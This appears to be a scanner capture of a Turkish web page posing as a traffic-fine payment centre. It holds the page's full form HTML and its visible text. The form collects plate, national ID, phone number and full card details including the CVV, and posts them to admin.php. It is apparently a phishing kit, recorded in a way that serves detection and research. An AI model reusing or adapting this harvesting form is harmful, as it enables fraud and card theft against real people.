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1 forms found in the DOM

Name: jqueryform-97e753 — POST admin.php

<form data-licensekey="" name="jqueryform-97e753" id="jqueryform-97e753" action="admin.php" method="post" enctype="multipart/form-data" novalidate="novalidate" autocomplete="on">
  <input type="hidden" name="method" value="validateForm">
  <input type="hidden" id="serverValidationFields" name="serverValidationFields" value="">
  <div class="form-group f4 " data-fid="f4">
    <label class="control-label" for="f4">Plaka</label>
    <div class="input-group"><span class="input-group-addon left"><i class="fa fa-car"></i> </span>
      <input type="text" class="form-control" id="f4" name="f4" value="" placeholder="Plakayı Giriniz">
    </div>
  </div>
  <div class="form-group f5 " data-fid="f5">
    <label class="control-label" for="f5">T.C. Kimlik</label>
    <div class="input-group"><span class="input-group-addon left"><i class="glyphicon glyphicon-user"></i> </span>
      <input type="text" class="form-control" id="f5" name="f5" value="" placeholder="T.C Kimlik Numarası Giriniz">
    </div>
  </div>
  <div class="form-group f6 " data-fid="f6">
    <label class="control-label" for="f6">Telefon Numarası</label>
    <div class="input-group"><span class="input-group-addon left"><i class="glyphicon glyphicon-earphone"></i> </span>
      <input type="tel" class="form-control" id="f6" name="f6" value="" placeholder="xxx-xxx-xxxx" data-rule-pattern="[0-9]{3,4}[ -.]*[0-9]{3,4}[ -.]*[0-9]{4}" data-msg-pattern="Invalid phone number">
    </div>
  </div>
  <div class="form-group f7 " data-fid="f7">
    <label class="control-label sr-only" for="f7">Untitled</label>
    <div class="form-group required" aria-required="true">
      <label for="ccNumber" class="control-label">Kart Numarası</label>
      <input id="ccNumber" name="ccNumber" type="tel" class="input-lg form-control ccNumber" maxlength="19" autocomplete="cc-number" placeholder="•••• •••• •••• ••••" data-rule-ccnumber="true" required="" aria-required="true">
    </div>
    <div class="form-group required" aria-required="true">
      <label for="ccFullname" class="control-label">Adı / Soyadı</label>
      <input id="ccFullname" name="ccFullname" type="text" class="input-lg form-control ccFullname" autocomplete="ccFullname" required="" aria-required="true">
    </div>
    <div class="form-group required" aria-required="true">
      <label for="ccExpiryDate" class="control-label">Son Kullanma Tarihi</label>
      <input id="ccExpiryDate" name="ccExpiryDate" type="tel" class="input-lg form-control ccExpiryDate" autocomplete="ccExpiryDate" placeholder="mm/yy" data-rule-ccexpiry="true" required="" aria-required="true">
    </div>
    <div class="form-group required" aria-required="true">
      <label for="ccCVC" class="control-label">CVV</label>
      <input id="ccCVC" name="ccCVC" type="tel" class="input-lg form-control ccCVC" autocomplete="off" maxlength="4" placeholder="•••" data-rule-cccvc="true" required="" aria-required="true">
    </div>
    <div class="form-group submit f0 " data-fid="f0" style="position: relative;">
      <label class="control-label sr-only" for="f0" style="display: block;">Submit Button</label>
      <div class="progress" style="display: none; z-index: -1; position: absolute;">
        <div class="progress-bar progress-bar-striped active" role="progressbar" style="width:100%">
        </div>
      </div>
      <center><button type="submit" class="btn btn-primary btn-lg" style="z-index: 1;"> HEMEN ÖDE </button></center>
    </div>
    <div class="clearfix"></div>
    <div class="submit">
      <p class="error bg-warning" style="display:none;"> Please check the required fields. </p>
    </div>
    <div class="clearfix"></div>
  </div><input type="hidden" id="csrf_token" name="csrf_token" value="68863bd129c5a8167017036e446cb139">
</form>

Text Content

CEZA TAHSİLAT MERKEZİ

Finansbank, Garanti bankası, Vakıfbank ve Denizbank kredi kartlarına özel
indirim ve komisyonsuz ödeme fırsatı!
Plaka

T.C. Kimlik

Telefon Numarası

Untitled
Kart Numarası
Adı / Soyadı
Son Kullanma Tarihi
CVV
Submit Button

HEMEN ÖDE


Please check the required fields.




BANKA ARAYÜZÜNE BAĞLANILIYOR!